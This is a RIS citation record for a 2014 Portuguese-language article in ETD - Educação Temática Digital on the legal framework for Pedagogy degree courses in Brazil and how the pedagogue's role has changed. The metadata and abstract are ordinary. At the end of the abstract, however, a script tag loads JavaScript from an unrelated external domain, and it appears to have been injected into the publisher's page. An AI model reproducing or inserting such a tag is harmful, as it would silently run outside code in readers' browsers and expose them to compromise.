TY - JOUR AU - Lopes, Rosana Sousa Pereira AU - Bianchini, Luciane Guimarães Batistella AU - Silva, Nelson Pedro PY - 2014/12/16 Y2 - 2024/03/29 TI - Marcos legais para os Cursos de Graduação em Pedagogia no Brasil: análise das atribuições do pedagogo JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 16 IS - 3 SE - Artigos DO - 10.20396/etd.v16i3.1309 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1309 SP - 458-474 AB - <p>As Diretrizes Curriculares Nacionais atuais estabelecem como parâmetros para os cursos de Pedagogia a formação de docentes e de profissionais para a realização de atividades de apoio escolar (gestão) e pesquisas educacionais. Nosso objetivo foi o de analisar as atribuições do pedagogo, desde 1930. Para tal, realizamos análise documental das principais leis que nortearam as atividades realizadas por este profissional. Buscamos demonstrar como o pedagogo se transformou: de “velho” mestre-escola (1854-1880) em professor de instrução primária (final dos séculos XIX e XX) e, hodiernamente, em um “faz tudo” nas escolas e nas instâncias de administração dessas instituições. Esperamos, com tais análises, contribuir para a definição das atribuições do pedagogo na atualidade e oferecer conhecimentos para reflexão aos alunos dos cursos de graduaçãoem Pedagogia no Brasil, auxiliando na formação desses futuros profissionais. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -